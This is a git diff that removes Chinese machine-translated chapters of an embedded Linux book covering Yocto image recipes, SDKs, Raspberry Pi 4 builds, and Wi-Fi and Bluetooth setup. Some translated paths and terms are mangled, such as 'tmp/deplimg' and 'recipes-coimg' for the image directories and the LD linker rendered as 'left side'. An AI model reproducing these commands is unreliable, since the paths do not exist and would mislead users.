-IMAGE_INSTALL_append = " helloworld" -``` - -请注意,在左双引号和第一个包名之间必须有一个空格。 现在,程序包将添加到您`bitbake`: - -```sh -$ bitbake core-image-minimal -``` - -如果您查看`tmp/deplimg/beaglebone-yocto/core-image-minimal-beaglebone-yocto.tar.bz2`,您将看到`/usr/bin/helloworld`确实已经安装。 - -## 通过 local.conf 自定义图像 - -您可能经常希望在开发期间将包添加到映像中,或者以其他方式调整它。 如前所述,您可以通过添加如下语句,简单地将其附加到要安装的软件包列表中: - -```sh -IMAGE_INSTALL_append = " strace helloworld" -``` - -您可以通过`EXTRA_IMAGE_FEATURES`进行更彻底的更改。 下面是一个简短的列表,可以让您了解可以启用的功能: - -* `dbg-pkgs`:这将为 - 映像中安装的所有包安装调试符号包。 -* `debug-tweaks`:这允许`root`登录而无需密码和其他可简化开发的更改。 -* `package-management`:这将安装包管理工具并保留包管理器数据库。 -* `read-only-rootfs`:这使根文件系统成为只读的。 我们将在[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*中更详细地介绍这一点。 -* `x11`:这将安装 X 服务器。 -* `x11-base`:这将在最小环境下安装 X 服务器。 -* `x11-sato`:这将安装 OpenedHand Sato 环境。 - -您可以通过这种方式添加更多功能。 我建议您阅读位于[https://www.yoctoproject.org/docs/latest/ref-manual/ref-manual.html](https://www.yoctoproject.org/docs/latest/ref-manual/ref-manual.html)的*Yocto 项目参考手册*的*图像特性*部分,并通读`meta/classes/core-image.bbclass`中的代码。 - -## 写一张图片食谱 - -更改`local.conf`的问题在于,它们是本地的。 如果您想创建一个要与其他开发人员共享或加载到生产系统上的映像,那么您应该将更改放入**映像配方**。 - -映像配方包含有关如何为目标创建映像文件的说明,包括引导加载程序、内核和根文件系统映像。 按照惯例,图像食谱被放入名为`images`的目录中,因此您可以使用以下命令获取所有可用图像的列表: - -```sh -$ ls meta*/recipeimg/*.bb -``` - -您会发现`core-image-minimal`的配方在`meta/recipes-coimg/core-image-minimal.bb`中。 - -一种简单的方法是获取一个现有的图像配方,并使用与您在`local.conf`中使用的语句类似的语句对其进行修改。 - -例如,假设您想要一个与`core-image-minimal`相同但包含`helloworld`程序和`strace`实用程序的映像。 您可以使用一个两行的配方文件来实现这一点,该文件包括(使用`require`关键字)基本图像并添加您想要的包。 通常将图像放在名为`images`的目录中,因此将包含以下内容的`nova-image.bb`食谱添加到`meta-nova/recipes-local/images`中: - -```sh -require recipes-coimg/core-image-minimal.bb -IMAGE_INSTALL += "helloworld strace" -``` - -现在,您的可以从您的`local.conf`中删除`IMAGE_INSTALL_append`行,并使用以下代码构建它: - -```sh -$ bitbake nova-image -``` - -这一次,构建应该进行得更快,因为 BitBake 重用了构建时遗留的产品`core-image-minimal`。 - -BitBake 不仅可以构建在目标设备上运行的映像,还可以构建在主机上进行开发的 SDK。 - -## 创建 SDK - -能够创建一个其他开发人员可以安装的独立工具链是非常有用的,避免了团队中的每个人都需要完整安装 Yocto 项目。 理想情况下,您希望工具链包含目标上安装的所有库的开发库和头文件。 您可以使用`populate_sdk`任务对任何图像执行此操作,如下所示: - -```sh -$ bitbake -c populate_sdk nova-image -``` - -结果是在`tmp/deploy/sdk`中生成一个自安装的 shell 脚本: - -```sh -poky----toolchain-.sh -``` - -对于使用`nova-image`配方构建的 SDK,它是这样的: - -```sh -poky-glibc-x86_64-nova-image-cortexa8hf-neon-beaglebone-yocto-toolchain-3.1.5.sh -``` - -如果您只需要一个只包含 C 和 C++交叉编译器、C 库和头文件的基本工具链,则可以改为运行以下命令: - -```sh -$ bitbake meta-toolchain -``` - -要安装 SDK,只需运行 shell 脚本。 默认安装目录为`/opt/poky`,但安装脚本允许您更改此目录: - -```sh -$ tmp/deploy/sdk/poky-glibc-x86_64-nova-image-cortexa8hf-neon-beaglebone-yocto-toolchain-3.1.5.sh -Poky (Yocto Project Reference Distro) SDK installer version 3.1.5 -============================================================== -Enter target directory for SDK (default: /opt/poky/3.1.5): -You are about to install the SDK to "/opt/poky/3.1.5". Proceed [Y/n]? Y -[sudo] password for frank: -Extracting SDK............................................done -Setting it up...done -SDK has been successfully set up and is ready to be used. -Each time you wish to use the SDK in a new shell session, you need to source the environment setup script e.g. -$ . /opt/poky/3.1.5/environment-setup-cortexa8hf-neon-poky-linux-gnueabi -``` - -要使用工具链,首先,获取环境并设置脚本: - -```sh -$ source /opt/poky/3.1.5/environment-setup-cortexa8hf-neon-poky-linux-gnueabi -``` - -给小费 / 翻倒 / 倾覆 - -为 SDK 设置内容的`environment-setup-*`脚本与您在 Yocto Project Build 目录中工作时获取的`oe-init-build-env`脚本不兼容。 在获取任一脚本之前,始终启动新的终端会话是一条很好的规则。 - -Yocto 项目生成的工具链没有有效的`sysroot`目录。 我们知道这是真的,因为将`-print-sysroot`选项传递给工具链的编译器将返回`/not/exist`: - -```sh -$ arm-poky-linux-gnueabi-gcc -print-sysroot -/not/exist -``` - -因此,如果您尝试交叉编译,就像我在前面几章中所展示的那样,它将失败,如下所示: - -```sh -$ arm-poky-linux-gnueabi-gcc helloworld.c -o helloworld -helloworld.c:1:10: fatal error: stdio.h: No such file or directory -    1 | #include -      |          ^~~~~~~~~ -compilation terminated. -``` - -这是因为该编译器已配置为适用于多种 ARM 处理器,并且在使用正确的标志集启动它时进行微调。 相反,您应该使用在编写`environment-setup`脚本进行交叉编译时创建的 shell 变量。 它包括以下内容: - -* `CC`:c 编译 -* `CXX`:C++编译器 -* `CPP`:c 预处理器 -* `AS`:汇编器 -* `LD`:左侧 - -例如,我们发现`CC`已设置为: - -```sh -$ echo $CC -arm-poky-linux-gnueabi-gcc -mfpu=neon -mfloat-abi=hard -mcpu=cortex-a8 -fstack-protector-strong -D_FORTIFY_SOURCE=2 -Wformat -Wformat-security -Werror=format-security --sysroot=/opt/poky/3.1.5/sysroots/cortexa8hf-neon-poky-linux-gnueabi -``` - -只要您使用`$CC`编译,一切都应该正常工作: - -```sh -$ $CC -O helloworld.c -o helloworld -``` - -接下来,我们来看一下许可证审核。 - -## 许可证审核 - -Yocto 项目坚持每个套餐都有许可证。 每个软件包在构建时都会在`tmp/deploy/licenses/[package name]`中放置一份许可证副本。 此外,映像中使用的包和许可证的摘要被放入`--/`目录中。 对于我们刚刚构建的`nova-image`,目录将命名为如下所示: - -```sh -tmp/deploy/licenses/nova-image-beaglebone-yocto-20210214072839/ -``` - -这就完成了我们对嵌入式 Linux 的两个领先构建系统的调查。 Buildroot 简单快捷,这使它成为相当简单的单一用途设备的一个很好的选择:传统的嵌入式 Linux,我喜欢这样认为。 Yocto 项目更加复杂和灵活。 尽管 Yocto 项目在整个社区和行业都得到了很好的支持,但该工具仍然有一个非常陡峭的学习曲线。 你可能需要几个月的时间才能精通 Yocto,即使到那时,它有时也会做一些你意想不到的事情。 - -# 摘要 - -在本章中,您了解了如何使用 Buildroot 和 Yocto 项目来配置、自定义和构建嵌入式 Linux 映像。 我们使用 Buildroot 为基于 Beaglebone Black 的假设板创建了带有自定义 U-Boot 补丁和设备树规范的 BSP。 然后,我们学习了如何以 Buildroot 包的形式将自己的代码添加到图像中。 我们还向您介绍了 Yocto 项目,我们将在接下来的两章中深入介绍该项目。 特别是,您学习了一些基本的 BitBake 术语、如何编写图像配方以及如何创建 SDK。 - -不要忘记,使用这些工具创建的任何设备都需要在现场维护一段时间,通常需要多年。 Yocto 项目和 Buildroot 都在初始版本之后提供大约一年的点发布,而 Yocto 项目现在提供至少两年的长期支持。 在任何一种情况下,您都会发现您必须自己维护您的版本;否则,您将为商业支持买单。 第三种可能性,忽略这个问题,不应该被认为是一种选择! - -在下一章中,我们将介绍文件存储和文件系统,以及您在这些方面所做的选择将如何影响嵌入式 -Linux 系统的稳定性和可维护性。 - -# 进一步阅读 - -以下资源包含有关本章中介绍的主题的详细信息: - -* *Buildroot 用户手册*,Buildroot Association:[http://buildroot.org/downloads/manual/manual.html](http://buildroot.org/downloads/manual/manual.html) -* *Yocto 项目文档*,Yocto 项目:[https://www.yoctoproject.org/documentation](https://www.yoctoproject.org/documentation) -* *Embedded Linux Development Using the Yocto Project Cookbook*,Alex González 著 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/07.md b/docs/master-emb-linux-prog/07.md deleted file mode 100644 index cbbfa723..00000000 --- a/docs/master-emb-linux-prog/07.md +++ /dev/null @@ -1,1442 +0,0 @@ -# 七、将 Yocto 用于开发 - -在不受支持的硬件上启动 Linux 可能是一个艰苦的过程。 幸运的是,Yocto 提供了**个板级支持包**(**BSPs**)来引导在 Beaglebone Black 和 Raspberry Pi 4 等流行的单板计算机上进行嵌入式 Linux 开发。建立在现有 BSP 层之上使我们能够快速利用蓝牙和 Wi-Fi 等复杂的内置外围设备。 在本章中,我们将创建一个自定义应用层来实现这一点。 - -接下来,我们将看看由 Yocto 的可扩展 SDK 支持的开发工作流。 修改目标设备上运行的软件通常意味着更换 SD 卡。 由于重新构建和重新部署完整映像太耗时,我将向您展示如何使用`devtool`快速自动化和迭代您的工作。 在这样做的同时,您将学习如何将您的工作保存在您自己的图层中,这样它就不会丢失。 - -Yocto 不仅构建 Linux 映像,而且构建整个 Linux 发行版。 在组装我们自己的 Linux 发行版之前,我们将讨论您这样做的原因。 我们将做出许多选择,包括是否添加运行时包管理,以便在目标设备上快速开发应用。 这是以维护包数据库和远程包服务器为代价的,我将在最后谈到这一点。 - -在本章中,我们将介绍以下主题: - -* 在现有 BSP 之上构建 -* 使用`devtool`捕获更改 -* 构建您自己的发行版 -* 设置远程包服务器 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 至少具有 60 GB 可用磁盘空间的基于 Linux 的主机系统 -* Yocto 3.1(邓费尔)LTS 版本 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* 覆盆子派 4 -* 一种 5V 3A USB-C 电源 -* 用于网络连接的以太网电缆和端口 -* Wi-Fi 路由器 -* 一款带蓝牙功能的智能手机 - -您应该已经在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中构建了 Yocto 的 3.1(Dunfall)LTS 发行版。 如果没有,请参考*Yocto Project Quick Build*指南([https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html))的*Compatible Linux Distribution*和*Build Host Packages*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上构建 Yocto。 - -本章的所有代码都可以在本书 GitHub 存储库的`Chapter07`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 在现有 BSP 的基础上构建 - -**板支持包**(**BSP**)层将对特定硬件设备或设备系列的支持添加到 Yocto。 这种支持通常包括引导加载程序、设备树 BLOB,以及在特定硬件上引导 Linux 所需的其他内核驱动程序。 BSP 还可以包括完全启用和利用硬件的所有特征所需的任何附加用户空间软件和外围固件。 按照惯例,BSP 层名称以`meta-`前缀开头,后跟计算机名称。 找到目标设备的最佳 BSP 是使用 Yocto 为其构建可引导映像的第一步。 - -OpenEmbedded Layer 索引([https://layers.openembedded.org/layerindex](https://layers.openembedded.org/layerindex))是开始查找高质量 BSP 的最佳起点。 您的电路板制造商或硅供应商也可能提供 BSP 层。 Yocto 项目为 Raspberry Pi 的所有变种提供了一个 BSP。 您可以在 Yocto Project 源代码库([https://git.yoctoproject.org](https://git.yoctoproject.org))中找到该 BSP 层和 Yocto 项目认可的所有其他层的 GitHub 存储库。 - -## 构建现有 BSP - -下面的练习假设您已经将 Yocto 的 Dunfall 版本克隆或解压到主机环境中名为`poky`的目录中。 在继续之前,我们还需要在该`poky`目录的上一级克隆以下依赖层,以便层和`poky`目录彼此相邻: - -```sh -$ git clone -b dunfell git://git.openembedded.org/meta-openembedded -$ git clone -b dunfell git://git.yoctoproject.org/meta-raspberrypi -``` - -请注意,依赖层的分支名称在兼容性方面与 Yocto 发行版相匹配。 使用定期的`git pull`命令使所有三个克隆保持最新,并与其遥控器保持同步。 `meta-raspberrypi`层是所有树莓 PI 的 BSP。 一旦这些依赖项就位,您就可以构建一个为 Raspberry PI 4 定制的映像。但在此之前,让我们先探索一下 Yocto 的通用映像的秘诀: - -1. 首先,导航到您克隆 Yocto 的目录: - - ```sh - $ cd poky - ``` - -2. 接下来,向下移动到标准图像食谱所在的目录: - - ```sh - $ cd meta/recipes-core/images - ``` - -3. 列出核心形象食谱: - - ```sh - $ ls -1 core* - core-image-base.bb - core-image-minimal.bb - core-image-minimal-dev.bb - core-image-minimal-initramfs.bb - core-image-minimal-mtdutils.bb - core-image-tiny-initramfs.bb - ``` - -4. Display the `core-image-base` recipe: - - ```sh - $ cat core-image-base.bb - SUMMARY = "A console-only image that fully supports the target device \ - hardware." - - IMAGE_FEATURES += "splash" - - LICENSE = "MIT" - - inherit core-image - ``` - - 请注意,此配方继承自`core-image`,因此它导入了`core-image.bbclass`的内容,我们稍后将讨论这一点。 - -5. Display the `core-image-minimal` recipe: - - ```sh - $ cat core-image-minimal.bb - SUMMARY = "A small image just capable of allowing a device to boot." - IMAGE_INSTALL = "packagegroup-core-boot ${CORE_IMAGE_EXTRA_INSTALL}" - IMAGE_LINGUAS = " " - LICENSE = "MIT" - inherit core-image - IMAGE_ROOTFS_SIZE ?= "8192" - IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("DISTRO_FEATURES", "systemd", " + 4096", "" ,d)}" - ``` - - 与`core-image-base`一样,此配方也继承自`core-image`类文件。 - -6. Display the `core-image-minimal-dev` recipe: - - ```sh - $ cat core-image-minimal-dev.bb - require core-image-minimal.bb - DESCRIPTION = "A small image just capable of allowing a device to boot and \ - is suitable for development work." - IMAGE_FEATURES += "dev-pkgs" - ``` - - 请注意,此配方需要上一步中的`core-image-minimal`配方。 回想一下,`require`指令的工作方式与`include`非常相似。 另外,请注意,`dev-pkgs`被追加到`IMAGE_FEATURES`的列表中。 - -7. 向上导航到`poky/meta`: - - ```sh - $ cd ../../classes - ``` - - 下的`classes`目录 -8. Lastly, display the `core-image` class file: - - ```sh - $ cat core-image.bbclass - ``` - - 注意这个类文件顶部的可用`IMAGE_FEATURES`的长列表,包括前面提到的`dev-pkgs`特性。 - -标准图像(如`core-image-minimal`和`core-image-minimal-dev`)与机器无关。 在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中,我们为 QEMU ARM 仿真器和 Beaglebone Black 构建了`core-image-minimal`。 我们可以很容易地为 Raspberry PI 4 创建一个`core-image-minimal`图像。相比之下,BSP 层包括针对特定电路板或一系列电路板的图像配方。 - -现在,让我们看一下`meta-rasberrypi`BSP 层中的`rpi-test-image`配方,看看如何在 Raspberry PI 4 的`core-image-base`中添加对 Wi-Fi 和蓝牙的支持: - -1. 首先,导航到您克隆 Yocto 的目录之上一级: - - ```sh - $ cd ../../.. - ``` - -2. 接下来,向下移动到`meta-raspberrypi`BSP 层内的目录中,这是 Raspberry PI 的图像食谱所在的位置: - - ```sh - $ cd meta-raspberrypi/recipes-core/images - ``` - -3. 列出树莓派图像食谱: - - ```sh - $ ls -1 - rpi-basic-image.bb - rpi-hwup-image.bb - rpi-test-image.bb - ``` - -4. Display the `rpi-test-image` recipe: - - ```sh - $ cat rpi-test-image.bb - # Base this image on core-image-base - include recipes-coimg/core-image-base.bb - COMPATIBLE_MACHINE = "^rpi$" - - IMAGE_INSTALL_append = " packagegroup-rpi-test" - ``` - - 请注意,`IMAGE_INSTALL`变量已被覆盖,因此它可以追加`packagegroup-rpi-test`并将这些包包括在映像中。 - -5. 导航到`meta-raspberrypi/recipes-core`: - - ```sh - $ cd ../packagegroups - ``` - - 下的相邻`packagegroups`目录 -6. Lastly, display the `packagegroup-rpi-test` recipe: - - ```sh - $ cat packagegroup-rpi-test.bb - DESCRIPTION = "RaspberryPi Test Packagegroup" - LICENSE = "MIT" - LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302" - PACKAGE_ARCH = "${MACHINE_ARCH}" - inherit packagegroup - COMPATIBLE_MACHINE = "^rpi$" - OMXPLAYER = "${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', 'omxplayer', d)}" - - RDEPENDS_${PN} = "\ - ${OMXPLAYER} \ - bcm2835-tests \ - rpio \ - rpi-gpio \ - pi-blaster \ - python3-rtimu \ - python3-sense-hat \ - connman \ - connman-client \ - wireless-regdb-static \ - bluez5 \ - " - RRECOMMENDS_${PN} = "\ - ${@bb.utils.contains("BBFILE_COLLECTIONS", "meta-multimedia", "bigbuckbunny-1080p bigbuckbunny-480p bigbuckbunny-720p", "", d)} \ - ${MACHINE_EXTRA_RRECOMMENDS} \ - " - ``` - - 请注意,`connman`、`connman-client`和`bluez5`包包含在运行时依赖项列表中,以便完全启用 Wi-Fi 和蓝牙。 - -最后,让我们为 Raspberry PI 4 构建`rpi-test-image`: - -1. 首先,在克隆 Yocto 的目录之上导航级别: - - ```sh - $ cd ../../.. - ``` - -2. Next, set up your BitBake work environment: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - - 这将设置一组环境变量,并将您放入新创建的`build-rpi`目录中。 - -3. Then, add the following layers to your image: - - ```sh - $ bitbake-layers add-layer ../meta-openembedded/meta-oe - $ bitbake-layers add-layer ../meta-openembedded/meta-python - $ bitbake-layers add-layer ../meta-openembedded/meta-networking - $ bitbake-layers add-layer ../meta-openembedded/meta-multimedia - $ bitbake-layers add-layer ../meta-raspberrypi - ``` - - 添加这些层的顺序很重要,因为`meta-networking`和`meta-multimedia`层都依赖于`meta-python`层。 如果`bitbake-layers add-layer`或`bitbake-layers show-layers`由于解析错误而开始失败,则删除`build-rpi`目录并从*步骤 1*重新开始本练习。 - -4. Verify that all the necessary layers have been added to the image: - - ```sh - $ bitbake-layers show-layers - ``` - - 列表中总共应该有八个层:`meta`、`meta-poky`、`meta-yocto-bsp`、`meta-oe`、`meta-python`、`meta-networking`、`meta-multimedia`和`meta-raspberrypi`。 - -5. Observe the changes that the preceding `bitbake-layers add-layer` commands made to `bblayers.conf`: - - ```sh - $ cat conf/bblayers.conf - ``` - - 上一步中相同的八个层应该分配给 - `BBLAYERS`变量。 - -6. List the machines supported by the `meta-raspberrypi` BSP layer: - - ```sh - $ ls ../meta-raspberrypi/conf/machine - ``` - - 请注意,有`raspberrypi4`和`raspberrypi4-64`机器配置。 - -7. Add the following line to your `conf/local.conf` file: - - ```sh - MACHINE = "raspberrypi4-64" - ``` - - 这会覆盖`conf/local.conf`文件中的以下默认值: - - ```sh - MACHINE ??= "qemux86-64" - ``` - - 将`MACHINE`变量设置为`raspberrypi4-64`可确保我们将要构建的图像适用于 Raspberry PI 4。 - -8. Now, append `ssh-server-openssh` to the list of `EXTRA_IMAGE_FEATURES` in your `conf/local.conf` file: - - ```sh - EXTRA_IMAGE_FEATURES ?= "debug-tweaks ssh-server-openssh" - ``` - - 这会将 SSH 服务器添加到我们的映像中,用于本地网络访问。 - -9. Lastly, build the image: - - ```sh - $ bitbake rpi-test-image - ``` - - 第一次运行构建可能需要几分钟到几小时的时间才能完成,具体取决于您的主机环境有多少个 CPU 核心可用。 `TARGET_SYS`应为`aarch64-poky-linux`,而`MACHINE`应为`raspberrypi4-64`,因为此图像针对的是 PI 4 中的 ARM Cortex-A72 内核的 64 位。 - -图像构建完成后,在`tmp/deplimg/raspberrypi4-64`目录中应该有一个名为`rpi-test-image-raspberrypi4-64.rootfs.wic.bz2`的文件: - -```sh -$ ls -l tmp/deplimg/raspberrypi4-64/rpi-test*wic.bz2 -``` - -请注意,`rpi-test-image-raspberrypi4-64.rootfs.wic.bz2`是指向同一目录中的实际图像文件的符号链接。 表示构建日期和时间的整数被附加到`wic.bz2`扩展名之前的映像文件名上。 - -现在,使用 Etcher 将该映像写入 microSD 卡,并在 Raspberry PI 4 上引导它: - -1. 将 microSD 卡插入主机。 -2. 启动 Etcher。 -3. 从 Etcher 的文件中单击**闪存。** -4. 找到您为 Raspberry PI 4 构建的`wic.bz2`图像并打开它。 -5. 单击**从 Etcher 选择目标**。 -6. 选择您在*步骤 1*中插入的 microSD 卡。 -7. 从 Etcher 单击**Flash**以写入图像。 -8. 当 Etcher 完成闪烁时,弹出 microSD 卡。 -9. 将 microSD 卡插入您的 Raspberry PI 4。 -10. 通过其 USB-C 端口为 Raspberry PI 4 通电。 - -将 PI 4 插入以太网并观察网络活动指示灯闪烁,以确认 PI 4 已成功引导。 - -## 控制 Wi-Fi - -在上一练习中,我们为 Raspberry PI 4 构建了可引导映像,其中包括工作的以太网、Wi-Fi 和蓝牙。 现在,设备已启动并通过以太网连接到您的本地网络,让我们连接到附近的 Wi-Fi 网络。 我们将使用`connman`进行本练习,因为这是`meta-raspberrypi`层提供的开箱即用的功能。 其他 BSP 层依赖于不同的网络接口配置守护进程,如`system-networkd`和`NetworkManager`。 遵循以下步骤: - -1. The image we built has a hostname of `raspberrypi4-64`, so you should be able to `ssh` into the device as `root`: - - ```sh - $ ssh root@raspberrypi4-64.local - ``` - - 当系统询问您是否要继续连接时,请输入`yes`。 系统不会提示您输入密码。 如果在`raspberrypi4-64.local`处未找到主机,请使用类似`arp-scan`的工具将 Raspberry PI 4 和`ssh`的 IP 地址定位到其中,而不是通过主机名进行定位。 - -2. 进入后,验证 Wi-Fi 驱动程序是否已安装: - - ```sh - root@raspberrypi4-64:~# lsmod | grep 80211 - cfg80211 753664 1 brcmfmac - rfkill 32768 6 nfc,bluetooth,cfg80211 - ``` - -3. 开始`connman-client`: - - ```sh - root@raspberrypi4-64:~# connmanctl - connmanctl> - ``` - -4. Turn on Wi-Fi: - - ```sh - connmanctl> enable wifi - Enabled wifi - ``` - - 如果 Wi-Fi 已打开,则忽略`"Error wifi: Already enabled"`。 - -5. 将`connmanctl`注册为连接代理: - - ```sh - connmanctl> agent on - Agent registered - ``` - -6. 扫描 Wi-Fi 网络: - - ```sh - connmanctl> scan wifi - Scan completed for wifi - ``` - -7. List all the available Wi-Fi networks: - - ```sh - connmanctl> services - *AO Wired ethernet_dca6320a8ead_cable - RT-AC66U_B1_38_2G wifi_dca6320a8eae_52542d41433636555f42315f33385f3247_managed_psk - RT-AC66U_B1_38_5G wifi_dca6320a8eae_52542d41433636555f42315f33385f3547_managed_psk - ``` - - `RT-AC66U_B1_38_2G`和`RT-AC66U_B1_38_5G`是 ASUS 路由器的 Wi-Fi 网络 SSID。 你的单子看起来会不一样。 `Wired`前的`*AO`部分表示设备当前通过以太网在线。 - -8. Connect to a Wi-Fi network: - - ```sh - connmanctl> connect wifi_dca6320a8eae_52542d41433636555f42315f33385f3547_managed_psk - Agent RequestInput wifi_dca6320a8eae_52542d41433636555f42315f33385f3547_managed_psk - Passphrase = [ Type=psk, Requirement=mandatory ] - Passphrase? somepassword - Connected wifi_dca6320a8eae_52542d41433636555f42315f33385f3547_managed_psk - ``` - - 将`connect`后的服务标识符替换为上一步中的服务标识符或目标网络。 用您的 Wi-Fi 密码替换`somepassword`。 - -9. List the services again: - - ```sh - connmanctl> services - *AO Wired ethernet_dca6320a8ead_cable - *AR RT-AC66U_B1_38_5G wifi_dca6320a8eae_52542d41433636555f42315f33385f3547_managed_psk - RT-AC66U_B1_38_2G wifi_dca6320a8eae_52542d41433636555f42315f33385f3247_managed_psk - ``` - - 这一次,`*AR`出现在您刚连接到的 SSID 之前,表示此网络连接已就绪。 以太网优先于 Wi-Fi,因此设备在`Wired`上保持在线。 - -10. 退出`connman-client`: - - ```sh - connmanctl> quit - ``` - -11. 从以太网上拔下 Raspberry PI 4 的插头,从而关闭您的`ssh`会话: - - ```sh - root@raspberrypi4-64:~# client_loop: send disconnect: Broken pipe - ``` - -12. 重新连接到您的树莓 PI 4: - - ```sh - $ ssh root@raspberrypi4-64.local - ``` - -13. 再次启动`connman-client`: - - ```sh - root@raspberrypi4-64:~# connmanctl - connmanctl> - ``` - -14. List the services again: - - ```sh - connmanctl> services - *AO RT-AC66U_B1_38_5G wifi_dca6320a8eae_52542d41433636555f42315f33385f3547_managed_psk - ``` - - 注意到`Wired`连接现已断开,并且您之前连接的 Wi-Fi SSID 现在已升级为在线。 - -`connman`守护程序将 Wi-Fi 凭证保存到`/var/lib/connman`下的网络配置文件目录中,该目录保留在 microSD 卡上。 这意味着当您的 Raspberry Pi 4 启动时,`connman`将自动重新连接到您的 Wi-Fi 网络。 关闭并重新打开电源后,不需要再次执行这些步骤。 如果你愿意,你可以不插以太网。 - -## 控制蓝牙 - -除了`connman`和`connman-client`包之外,`meta-raspberrypi`层还包括用于其蓝牙堆栈的`bluez5`。 所有这些软件包以及必要的蓝牙驱动程序都包含在我们为 Raspberry -PI 4 构建的`rpi-test-image`中。让我们启动并运行蓝牙,并尝试将其与另一台设备配对: - -1. 为您的树莓 PI 4 和`ssh`接通电源: - - ```sh - $ ssh root@raspberrypi4-64.local - ``` - -2. 接下来,验证蓝牙驱动程序是否已安装: - - ```sh - root@raspberrypi4-64:~# lsmod | grep bluetooth - bluetooth 438272 9 bnep - ecdh_generic 24576 1 bluetooth - rfkill 32768 6 nfc,bluetooth,cfg80211 - ``` - -3. 为蓝牙连接初始化 HCI UART 驱动程序: - - ```sh - root@raspberrypi4-64:~# btuart - bcm43xx_init - Flash firmware /lib/firmware/brcm/BCM4345C0.hcd - Set Controller UART speed to 3000000 bit/s - Device setup complete - ``` - -4. 开始`connman-client`: - - ```sh - root@raspberrypi4-64:~# connmanctl - connmanctl> - ``` - -5. Turn on Bluetooth: - - ```sh - connmanctl> enable bluetooth - Enabled Bluetooth - ``` - - 如果蓝牙已打开 - ,则忽略`"Error bluetooth: Already enabled"`。 - -6. 退出`connman-client`: - - ```sh - connmanctl> quit - ``` - -7. 启动蓝牙 CLI: - - ```sh - root@raspberrypi4-64:~# bluetoothctl - Agent registered - [CHG] Controller DC:A6:32:0A:8E:AF Pairable: yes - ``` - -8. 请求默认代理: - - ```sh - [bluetooth]# default-agent - Default agent request successful - ``` - -9. 打开控制器电源: - - ```sh - [bluetooth]# power on - Changing power on succeeded - ``` - -10. 显示有关控制器的信息: - - ```sh - [bluetooth]# show - Controller DC:A6:32:0A:8E:AF (public) - Name: BlueZ 5.55 - Alias: BlueZ 5.55 - Class: 0x00200000 - Powered: yes - Discoverable: no - DiscoverableTimeout: 0x000000b4 - Pairable: yes - ``` - -11. Start scanning for Bluetooth devices: - - ```sh - [bluetooth]# scan on - Discovery started - [CHG] Controller DC:A6:32:0A:8E:AF Discovering: yes - … - [NEW] Device DC:08:0F:03:52:CD Frank's iPhone - … - ``` - - 如果您的智能手机就在附近,并且启用了蓝牙,它应该会在列表中显示为`[NEW]`设备。 `Frank's iPhone`旁边的`DC:08:0F:03:52:CD`部分是我的智能手机的蓝牙 MAC 地址。 - -12. 停止扫描蓝牙设备: - - ```sh - [bluetooth]# scan off - … - [CHG] Controller DC:A6:32:0A:8E:AF Discovering: no - Discovery stopped - ``` - -13. 如果您打开了 iPhone,请转到**设置**下的**蓝牙**,这样您就可以接受来自 Raspberry PI 4 的配对请求。 -14. Attempt to pair with your smartphone: - - ```sh - [bluetooth]# pair DC:08:0F:03:52:CD - Attempting to pair with DC:08:0F:03:52:CD - [CHG] Device DC:08:0F:03:52:CD Connected: yes - Request confirmation - [agent] Confirm passkey 936359 (yes/no): - ``` - - 将您的智能手机的蓝牙 MAC 地址替换为`DC:08:0F:03:52:CD`。 - -15. Before entering `yes`, accept the pairing request from your smartphone: - - ![Figure 7.1 – Bluetooth pairing request](img/B11566_07_01.jpg) - - 图 7.1-蓝牙配对请求 - -16. 输入`yes`以确认密钥: - - ```sh - [agent] Confirm passkey 936359 (yes/no): yes - [CHG] Device DC:08:0F:03:52:CD ServicesResolved: yes - [CHG] Device DC:08:0F:03:52:CD Paired: yes - Pairing successful - [CHG] Device DC:08:0F:03:52:CD ServicesResolved: no - [CHG] Device DC:08:0F:03:52:CD Connected: no - ``` - -17. Connect to your smartphone: - - ```sh - [bluetooth]# connect DC:08:0F:03:52:CD - Attempting to connect to DC:08:0F:03:52:CD - [CHG] Device DC:08:0F:03:52:CD Connected: yes - Connection successful - [CHG] Device DC:08:0F:03:52:CD ServicesResolved: yes - Authorize service - ``` - - 同样,用智能手机的蓝牙 MAC 地址代替`DC:08:0F:03:52:CD`。 - -18. 提示授权服务时,输入`yes`: - - ```sh - [agent] Authorize service 0000110e-0000-1000-8000-00805f9b34fb (yes/no): yes - [Frank's iPhone]# - ``` - -现在,您的树莓 PI 4 已配对,并通过蓝牙连接到您的智能手机。 在智能手机的蓝牙设备列表中,它应该显示为**BlueZ 5.55**。 `bluetoothctl`程序有许多命令和子菜单。 我们才刚刚触及皮毛。 我建议输入`help`并仔细阅读自述文档,以了解您可以从命令行执行哪些操作。 与`connman`一样,**BlueZ**蓝牙堆栈是 D-BUS 服务,因此您可以通过 D-BUS 从 Python 或使用 D-BUS 绑定的其他高级编程语言通过 D-BUS 与其通信。 - -## 添加自定义层 - -如果您正在使用 Raspberry PI 4 制作新产品的原型,那么您可以通过将包添加到已分配给`conf/local.conf`中的`IMAGE_INSTALL_append`变量的列表来快速生成您自己的自定义映像。 虽然这项简单的技术很有效,但在某些时候,您会希望开始开发您自己的嵌入式应用。 您如何构建此附加软件,以便可以将其包含在您的自定义映像中? 答案是,您必须使用新的配方创建自定义层来构建您的软件。 让我们开始吧: - -1. 首先,在克隆 Yocto 的目录上导航一级。 -2. Next, set up your BitBake work environment: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - - 这将设置一组环境变量,并将您带回 - `build-rpi`目录。 - -3. Create a new layer for your application: - - ```sh - $ bitbake-layers create-layer 